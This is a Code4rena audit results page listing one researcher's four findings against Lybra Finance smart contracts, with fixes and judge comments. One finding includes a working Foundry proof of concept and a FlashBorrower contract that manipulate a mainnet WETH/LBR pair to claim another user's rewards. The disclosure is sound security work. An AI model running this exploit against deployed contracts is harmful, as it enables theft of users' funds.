Lybra Finance - SpicyMeatball's results

A protocol building the first interest-bearing omnichain stablecoin backed by LSD.

General Information

Platform: Code4rena

Start Date: 23/06/2023

Pot Size: $60,500 USDC

Total HM: 31

Participants: 132

Period: 10 days

Judge: 0xean

Total Solo HM: 10

Id: 254

League: ETH

Lybra Finance

Findings Distribution

Researcher Performance

Rank: 5/132

Findings: 4

Award: $1,988.60

🌟 Selected for report: 1

🚀 Solo Findings: 0

Findings Information

🌟 Selected for report: turvy_fuzz

Also found by: SpicyMeatball

Labels

bug
3 (High Risk)
satisfactory
upgraded by judge
duplicate-723

Awards

1666.6782 USDC - $1,666.68

External Links

Lines of code

https://github.com/code-423n4/2023-06-lybra/blob/main/contracts/lybra/pools/base/LybraPeUSDVaultBase.sol#L159

Vulnerability details

Impact

In rigidRedemption function we check if borrowed amount of the provider is greater than or equal to peusdAmount that a user wants to repay. But we forget about the fact that a user's debt consists of his minted PEUSD tokens and a fee,

https://github.com/code-423n4/2023-06-lybra/blob/main/contracts/lybra/pools/base/LybraPeUSDVaultBase.sol#L253-L254

thus it is possible that the debt of the provider is bigger than amount in borrowed[provider] mapping.

Proof of Concept

Let's say Alice is the provider, she minted 10000 PEUSD tokens and her debt is 10000 + 100 fees, bob wants to fully redeem her debt and calls rigidRedemption(alice, 10100). Unfortunately require check won't allow this because borrowed[alice] = 10000 < 10100

Tools Used

Manual review

Use getBorrowedOf instead of borrowed

Assessed type

Invalid Validation

#0 - c4-pre-sort

2023-07-11T19:14:24Z

JeffCX marked the issue as duplicate of #723

#1 - c4-judge

2023-07-28T15:23:17Z

0xean marked the issue as satisfactory

#2 - c4-judge

2023-07-28T19:44:56Z

0xean changed the severity to 3 (High Risk)

Findings Information

🌟 Selected for report: georgypetrov

Also found by: CrypticShepherd, DelerRH, Kenshin, LuchoLeonel1, SpicyMeatball, bart1e, ktg, pep7siup

Labels

bug
2 (Med Risk)
downgraded by judge
satisfactory
duplicate-882

Awards

53.1445 USDC - $53.14

External Links

Lines of code

https://github.com/code-423n4/2023-06-lybra/blob/main/contracts/lybra/configuration/LybraConfigurator.sol#L199 https://github.com/code-423n4/2023-06-lybra/blob/main/contracts/lybra/pools/base/LybraEUSDVaultBase.sol#L323 https://github.com/code-423n4/2023-06-lybra/blob/main/contracts/lybra/pools/base/LybraPeUSDVaultBase.sol#L265

Vulnerability details

Impact

In LybraConfigurator.sol there is a function which allows an admin to set a safe collateral ratio for a given pool. Unfortunately it will revert on call because function vaultType() doesn't exist (uncallable because it's not declared as public) in either PEUSD or EUSD vaults, instead we have getVaultType().

What makes it worse is that default value for vaultBadCollateralRatio is set as vaultSafeCollateralRatio[pool] - 1e9 which will result in underflow, so we have to explicitly set the safe collateral ratio on deployment.

https://github.com/code-423n4/2023-06-lybra/blob/main/contracts/lybra/configuration/LybraConfigurator.sol#L339

Proof of Concept

https://github.com/code-423n4/2023-06-lybra/blob/main/contracts/lybra/configuration/LybraConfigurator.sol#L199 https://github.com/code-423n4/2023-06-lybra/blob/main/contracts/lybra/pools/base/LybraPeUSDVaultBase.sol#L18 https://github.com/code-423n4/2023-06-lybra/blob/main/contracts/lybra/pools/base/LybraPeUSDVaultBase.sol#L265

Tools Used

Manual review

Either use getVaultType() in configurator or make vaultType public in pools

Assessed type

DoS

#0 - c4-pre-sort

2023-07-08T18:34:00Z

JeffCX marked the issue as duplicate of #882

#1 - c4-judge

2023-07-28T15:36:29Z

0xean marked the issue as satisfactory

#2 - c4-judge

2023-07-28T19:43:23Z

0xean changed the severity to 2 (Med Risk)

Awards

5.5262 USDC - $5.53

Labels

bug
2 (Med Risk)
downgraded by judge
satisfactory
duplicate-532

External Links

Lines of code

https://github.com/code-423n4/2023-06-lybra/blob/main/contracts/lybra/pools/base/LybraPeUSDVaultBase.sol#L196-L198 https://github.com/code-423n4/2023-06-lybra/blob/main/contracts/lybra/pools/base/LybraPeUSDVaultBase.sol#L202 https://github.com/code-423n4/2023-06-lybra/blob/main/contracts/lybra/pools/base/LybraPeUSDVaultBase.sol#L206

Vulnerability details

Impact

When a user chooses to repay/burn his PeUSD tokens he calls the burn function where he specifies amount of tokens he wishes to repay/burn

https://github.com/code-423n4/2023-06-lybra/blob/main/contracts/lybra/pools/base/LybraPeUSDVaultBase.sol#L110

then internal _repay function is called, we take the summary debt of the user borrowed[user] + totalFee, where totalFee is interest accumulated over time.

https://github.com/code-423n4/2023-06-lybra/blob/main/contracts/lybra/pools/base/LybraPeUSDVaultBase.sol#L196

after that amount value is subtracted from both totalFee and borrowed[user] which is wrong because after subtracting amount from totalFee we should subtract amount - totalFee from borrowed[user] if amount > totalFee or do nothing if amount <= totalFee.

Logic here is that we repay fees with our amount and then the debt with what is left. Let's say

  1. Alice minted 100 PEUSD tokens
  2. she chooses to repay 100 tokens after some time, her debt is 110 where 10 is a fee.
  3. 100 > 10 therefore 10 is sent to the platform and 90 is burned
  4. as a result Alice has 0 tokens and a 10 tokens debt

In the current contract we can repay 110 tokens debt with 100 PEUSD tokens which I believe is not right.

Proof of Concept

Custom test for a PeUSD vault

// SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.8.17; import {DSTestPlus} from "solmate/test/utils/DSTestPlus.sol"; import {LybraWstETHVault as Vault} from "../contracts/lybra/pools/LybraWstETHVault.sol"; import {PeUSDMainnet as PeUSD} from "../contracts/lybra/token/PeUSDMainnetStableVision.sol"; import {EUSD} from "../contracts/lybra/token/EUSD.sol"; import {Configurator} from "../contracts/lybra/configuration/LybraConfigurator.sol"; import {EUSDMiningIncentives as Miner} from "../contracts/lybra/miner/EUSDMiningIncentives.sol"; import {esLBRBoost as Boost} from "../contracts/lybra/miner/esLBRBoost.sol"; import {stETHMock} from "../contracts/mocks/stETHMock.sol"; import {WstETH, IStETH} from "../contracts/mocks/mockWstETH.sol"; import {mockCurve} from "../contracts/mocks/mockCurve.sol"; import {mockEtherPriceOracle} from "../contracts/mocks/mockEtherPriceOracle.sol"; import {mockLBRPriceOracle} from "../contracts/mocks/mockLBRPriceOracle.sol"; import "forge-std/console.sol"; contract DAO { function checkRole(bytes32, address) external pure returns(bool) { return true; } function checkOnlyRole(bytes32, address) external pure returns(bool) { return true; } } contract Oracle { uint256 price; function setPrice(uint256 _price) external { price = _price; } function fetchPrice() external view returns(uint256) { return price; } } contract LybraPEUSDPoolTest is DSTestPlus { Vault vault; PeUSD peusd; EUSD eusd; Configurator config; Boost boost; Miner miner; stETHMock stETH; WstETH wstETH; mockCurve curve; Oracle oracle; DAO dao; mockEtherPriceOracle ethOracle; mockLBRPriceOracle lbrOracle; address[] pools; address alice = hevm.addr(111); address bob = hevm.addr(222); function setUp() public { stETH = new stETHMock(); wstETH = new WstETH(IStETH(address(stETH))); curve = new mockCurve(); oracle = new Oracle(); ethOracle = new mockEtherPriceOracle(); lbrOracle = new mockLBRPriceOracle(); dao = new DAO(); config = new Configurator(address(dao), address(curve)); eusd = new EUSD(address(config)); peusd = new PeUSD(address(config), 18, hevm.addr(123)); vault = new Vault(address(stETH), address(peusd), address(oracle), address(wstETH), address(config)); pools.push(address(vault)); config.setMintVault(address(vault), true); config.initToken(address(eusd), address(peusd)); oracle.setPrice(1800 * 1e18); boost = new Boost(); miner = new Miner(address(config), address(boost), address(ethOracle), address(lbrOracle)); miner.setPools(pools); config.setMintVaultMaxSupply(address(vault), 10_000_000 * 1e18); config.setBorrowApy(address(vault), 200); config.setSafeCollateralRatio(address(vault), 160 * 1e18); config.setBadCollateralRatio(address(vault), 150 * 1e18); config.setEUSDMiningIncentives(address(miner)); wstETH.approve(address(vault), ~uint256(0)); } function testVaultBasic() public { uint256 mintAmount = 1800*60*1e18; wstETH.claim(); vault.depositAssetToMint(100*1e18, mintAmount); // wait for fee to accumulate hevm.warp(30 days); uint256 totalDebtBefore = vault.getBorrowedOf(address(this)); uint256 totalFeeBefore = totalDebtBefore - mintAmount; vault.burn(address(this), mintAmount); uint256 totalDebtAfter = vault.getBorrowedOf(address(this)); uint256 totalDebtAfterExpected = totalDebtBefore - mintAmount; assertEq(totalDebtAfter, totalDebtAfterExpected); } }

Tools Used

Foundry, forge and solmate libs

We should probably only update borrowed[user] if amount > totalFee, so ifelse block in _repay may look like this

if(amount >= totalFee) { feeStored[_onBehalfOf] = 0; PeUSD.transferFrom(_provider, address(configurator), totalFee); PeUSD.burn(_provider, amount - totalFee); try configurator.distributeRewards() {} catch {} borrowed[_onBehalfOf] -= amount - totalFee; } else { feeStored[_onBehalfOf] = totalFee - amount; PeUSD.transferFrom(_provider, address(configurator), amount); } poolTotalPeUSDCirculation -= amount; emit Burn(_provider, _onBehalfOf, amount, block.timestamp);

Assessed type

Math

#0 - c4-pre-sort

2023-07-10T20:51:19Z

JeffCX marked the issue as duplicate of #532

#1 - c4-judge

2023-07-28T15:39:40Z

0xean marked the issue as satisfactory

#2 - c4-judge

2023-07-28T19:41:44Z

0xean changed the severity to 2 (Med Risk)

Findings Information

🌟 Selected for report: SpicyMeatball

Also found by: Brenzee, Kenshin, Musaka

Labels

bug
2 (Med Risk)
downgraded by judge
primary issue
satisfactory
selected for report
sponsor acknowledged
edited-by-warden
M-13

Awards

263.2518 USDC - $263.25

External Links

Lines of code

https://github.com/code-423n4/2023-06-lybra/blob/main/contracts/lybra/miner/EUSDMiningIncentives.sol#L153-L154 https://github.com/code-423n4/2023-06-lybra/blob/main/contracts/lybra/miner/EUSDMiningIncentives.sol#L189 https://github.com/code-423n4/2023-06-lybra/blob/main/contracts/lybra/miner/EUSDMiningIncentives.sol#L193 https://github.com/code-423n4/2023-06-lybra/blob/main/contracts/lybra/miner/EUSDMiningIncentives.sol#L203

Vulnerability details

Impact

Malicious user can manipulate balances of the WETH/LBR pair and bypass this check

https://github.com/code-423n4/2023-06-lybra/blob/main/contracts/lybra/miner/EUSDMiningIncentives.sol#L203

which allows him to steal rewards from a user who has staked enough LP and whose rewards shouldn't be claimable under normal circumstances.

EUSDMiningIncentives.sol is a staking contract which distributes rewards to users based on how much EUSD they have minted/borrowed. Rewards are accumulated over time and can be claimed only if a user has staked enough WETH/LBR uniswap pair LP tokens into another staking

https://github.com/code-423n4/2023-06-lybra/blob/main/contracts/lybra/miner/stakerewardV2pool.sol

This condition is checked here

https://github.com/code-423n4/2023-06-lybra/blob/main/contracts/lybra/miner/EUSDMiningIncentives.sol#L188

As we can see stakedLBRLpValue of a user is calculated based on how much LP he has staked and the total cost of the tokens that are stored inside the WETH/LBR pair

https://github.com/code-423n4/2023-06-lybra/blob/main/contracts/lybra/miner/EUSDMiningIncentives.sol#L151-L156

total cost however is simply derived from the sum of the tokens balances, which we get with balanceOf(pair), this can be exploited.

  1. Alice minted some EUSD tokens
  2. She also has staked LP tokens in the staking rewards contract
  3. Currently isOtherEarningsClaimable(alice) returns false, that means she is safe
  4. Bob wants to take rewards of the Alice for himself
  5. He calls a direct swap with WETH/LBR pair and chooses amounts that will lower the total cost of the LP
lbrInLp + etherInLp
  1. Then inside the callback he calls purchaseOtherEarnings and takes reward of the Alice
  2. After that he repays the loan

Proof of Concept

Custom test

// SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.8.17; import {DSTestPlus} from "solmate/test/utils/DSTestPlus.sol"; import {LybraStETHDepositVault as Vault} from "../contracts/lybra/pools/LybraStETHVault.sol"; import {PeUSDMainnet as PeUSD} from "../contracts/lybra/token/PeUSDMainnetStableVision.sol"; import {EUSD, IERC20} from "../contracts/lybra/token/EUSD.sol"; import {Configurator} from "../contracts/lybra/configuration/LybraConfigurator.sol"; import {EUSDMiningIncentives as Miner} from "../contracts/lybra/miner/EUSDMiningIncentives.sol"; import {StakingRewardsV2} from "../contracts/lybra/miner/stakerewardV2pool.sol"; import {esLBRBoost as Boost} from "../contracts/lybra/miner/esLBRBoost.sol"; import {stETHMock} from "../contracts/mocks/stETHMock.sol"; import {WstETH, IStETH} from "../contracts/mocks/mockWstETH.sol"; import {mockCurve} from "../contracts/mocks/mockCurve.sol"; import {mockEtherPriceOracle} from "../contracts/mocks/mockEtherPriceOracle.sol"; import {mockLBRPriceOracle} from "../contracts/mocks/mockLBRPriceOracle.sol"; import "forge-std/console.sol"; import "forge-std/Test.sol"; import "./FlashBorrower.sol"; contract DAO { function checkRole(bytes32, address) external pure returns(bool) { return true; } function checkOnlyRole(bytes32, address) external pure returns(bool) { return true; } } contract Oracle { uint256 price; function setPrice(uint256 _price) external { price = _price; } function fetchPrice() external view returns(uint256) { return price; } } contract ESLBRMock { function mint(address, uint256) external returns(bool){ return true; } function burn(address, uint256) external returns(bool){ return true; } } contract LybraEUSDPoolTest is Test{ Vault vault; PeUSD peusd; EUSD eusd; Configurator config; Boost boost; Miner miner; StakingRewardsV2 stakingReward; stETHMock stETH; WstETH wstETH; ESLBRMock eslbr; mockCurve curve; Oracle oracle; DAO dao; mockEtherPriceOracle ethOracle; mockLBRPriceOracle lbrOracle; address[] pools; address alice = makeAddr("alice"); address bob = makeAddr("bob"); IV2Router router; IV2Pair v2Pair; // WETH/LBR IWETH WETH; IERC20 LBR; function setUp() public { vm.createSelectFork(vm.envString("RPC_MAINNET_URL"), 17592869); router = IV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); v2Pair = IV2Pair(0x061883CD8a060eF5B8d83cDe362C3Fdbd8162EeE); WETH = IWETH(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); LBR = IERC20(0xF1182229B71E79E504b1d2bF076C15a277311e05); stETH = new stETHMock(); wstETH = new WstETH(IStETH(address(stETH))); eslbr = new ESLBRMock(); curve = new mockCurve(); oracle = new Oracle(); ethOracle = new mockEtherPriceOracle(); lbrOracle = new mockLBRPriceOracle(); dao = new DAO(); config = new Configurator(address(dao), address(curve)); eusd = new EUSD(address(config)); peusd = new PeUSD(address(config), 18, makeAddr("LZ")); config.initToken(address(eusd), address(peusd)); vault = new Vault(address(config), address(stETH), address(oracle)); pools.push(address(vault)); config.setMintVault(address(vault), true); oracle.setPrice(1800 * 1e18); boost = new Boost(); miner = new Miner(address(config), address(boost), address(ethOracle), address(lbrOracle)); stakingReward = new StakingRewardsV2(address(v2Pair), address(eslbr), address(boost)); miner.setEthlbrStakeInfo(address(stakingReward), address(v2Pair)); miner.setPools(pools); miner.setToken(address(LBR), address(eslbr)); config.setMintVaultMaxSupply(address(vault), 10_000_000 * 1e18); config.setSafeCollateralRatio(address(vault), 160 * 1e18); config.setBadCollateralRatio(address(vault), 150 * 1e18); config.setEUSDMiningIncentives(address(miner)); stETH.approve(address(vault), ~uint256(0)); vm.deal(alice, 10 ether); stETH.transfer(alice, 500 ether); } function swapAndLiquify(address who, uint256 amount, address[] memory path) internal { // get WETH and LBR, purchase and stake LP tokens vm.startPrank(who); WETH.deposit{value: amount}(); WETH.approve(address(router), ~uint256(0)); LBR.approve(address(router), ~uint256(0)); v2Pair.approve(address(stakingReward), ~uint256(0)); router.swapExactTokensForTokens(amount/2, 0, path, who, block.timestamp); router.addLiquidity(address(WETH), address(LBR), amount/2, (amount * 1000)/2, 1, 1, who, block.timestamp); console.log(v2Pair.balanceOf(who)); stakingReward.stake(v2Pair.balanceOf(who)); vm.stopPrank(); } function testFlashLoanAttack() public { uint256 mintAmount = 1800*60*1e18; address[] memory path = new address[](2); path[0] = address(WETH); path[1] = address(LBR); // PREP THE ATTACK // Alice has borrowed 540_000 EUSD and staked 126 LP tokens vault.depositAssetToMint(100*1e18, mintAmount); swapAndLiquify(address(this), 0.8 ether, path); vm.startPrank(alice); stETH.approve(address(vault), ~uint256(0)); vault.depositAssetToMint(500*1e18, mintAmount * 5); vm.stopPrank(); swapAndLiquify(alice, 10 ether, path); assertEq(miner.isOtherEarningsClaimable(address(this)), true); assertEq(miner.isOtherEarningsClaimable(alice), false); // COMMENCE THE ATTACK FlashBorrower flashBorrower = new FlashBorrower(WETH, LBR, miner, stakingReward, v2Pair, router, alice); WETH.approve(address(flashBorrower), ~uint256(0)); LBR.approve(address(flashBorrower), ~uint256(0)); // Get some tokens to repay flash swap fees WETH.deposit{value: 6 ether}(); router.swapExactTokensForTokens(3 ether, 0, path, address(this), block.timestamp); WETH.transfer(address(flashBorrower), 1000); LBR.transfer(address(flashBorrower), 1000); // Drain tokens from the pair and manipulate {stakedLBRLpValue} to pass this check and claim rewards from the target // https://github.com/code-423n4/2023-06-lybra/blob/main/contracts/lybra/miner/EUSDMiningIncentives.sol#L193 flashBorrower.flash(800 ether, 800000 ether); } }

FlashBorrower contract, notice the require check where we check if target user reward is claimable

// SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.8.17; import {EUSDMiningIncentives as Miner} from "../contracts/lybra/miner/EUSDMiningIncentives.sol"; import {StakingRewardsV2} from "../contracts/lybra/miner/stakerewardV2pool.sol"; import {IERC20} from "../contracts/lybra/token/EUSD.sol"; import "forge-std/console.sol"; interface IV2Pair is IERC20 { function factory() external view returns(address); function swap( uint amount0Out, uint amount1Out, address to, bytes calldata data ) external; } interface IV2Router { function factory() external view returns(address); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); } interface IWETH is IERC20 { function deposit() external payable; function withdraw(uint amount) external; } contract FlashBorrower { IWETH token0; IERC20 token1; Miner miner; StakingRewardsV2 staking; IV2Pair v2Pair; IV2Router v2Router; address target; constructor( IWETH _token0, IERC20 _token1, Miner _miner, StakingRewardsV2 _staking, IV2Pair _v2Pair, IV2Router _v2Router, address _target ) { token0 = _token0; token1 = _token1; miner = _miner; staking = _staking; v2Pair = _v2Pair; v2Router = _v2Router; target = _target; token0.approve(address(v2Router), ~uint256(0)); token1.approve(address(v2Router), ~uint256(0)); v2Pair.approve(address(v2Router), ~uint256(0)); } function uniswapV2Call( address sender, uint256 amount0, uint256 amount1, bytes calldata data ) external { address caller = abi.decode(data, (address)); require(miner.isOtherEarningsClaimable(target), "CAN'T GRAB TARGET'S REWARD"); // Repay borrow uint256 fee0 = (amount0 * 3) / 997 + 1; uint256 fee1 = (amount1 * 3) / 997 + 1; uint256 amountToRepay0 = amount0 + fee0; uint256 amountToRepay1 = amount1 + fee1; // Transfer flash swap fee from caller token0.transferFrom(caller, address(this), fee0); token1.transferFrom(caller, address(this), fee1); // Repay token0.transfer(address(v2Pair), amountToRepay0); token1.transfer(address(v2Pair), amountToRepay1); } function flash(uint256 amount0, uint256 amount1) public { bytes memory data = abi.encode(msg.sender); v2Pair.swap(amount0, amount1, address(this), data); } }

Tools Used

Forge I forked the ETH mainnet at the block 17592869 also following mainnet contracts were used Uniswap V2 router (0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D), WETH/LBR uniswap pair (0x061883CD8a060eF5B8d83cDe362C3Fdbd8162EeE), WETH token (0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2), LBR token (0xF1182229B71E79E504b1d2bF076C15a277311e05)

Use ethlbrLpToken.getReserves() instead of quoting balances directly with balanceOf

(uint112 r0, uint112 r1, ) = ethlbrLpToken.getReserves() uint256 etherInLp = (r0 * uint(etherPrice)) / 1e8; uint256 lbrInLp = (r1 * uint(lbrPrice)) / 1e8;

Assessed type

Uniswap

#0 - c4-pre-sort

2023-07-10T20:34:29Z

JeffCX marked the issue as primary issue

#1 - LybraFinance

2023-07-14T09:37:11Z

The real price will be obtained through Chainlink oracles instead of the exchange rate in the LP, and it will not be manipulated by flash loans.

#2 - c4-sponsor

2023-07-14T09:37:19Z

LybraFinance marked the issue as sponsor disputed

#3 - 0xean

2023-07-25T23:52:41Z

@LybraFinance - I think this qualifies as M. Are you suggesting that in the future the price will be pull from chainlink? if so the wardens are reviewing the code base as written, not future changes to include a different price discovery mechanism and therefore I think this is valid.

#4 - c4-judge

2023-07-25T23:53:21Z

0xean changed the severity to 2 (Med Risk)

#5 - c4-sponsor

2023-07-27T08:17:20Z

LybraFinance marked the issue as sponsor acknowledged

#6 - c4-judge

2023-07-28T15:41:56Z

0xean marked the issue as satisfactory

#7 - c4-judge

2023-07-28T20:39:57Z

0xean marked the issue as selected for report

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter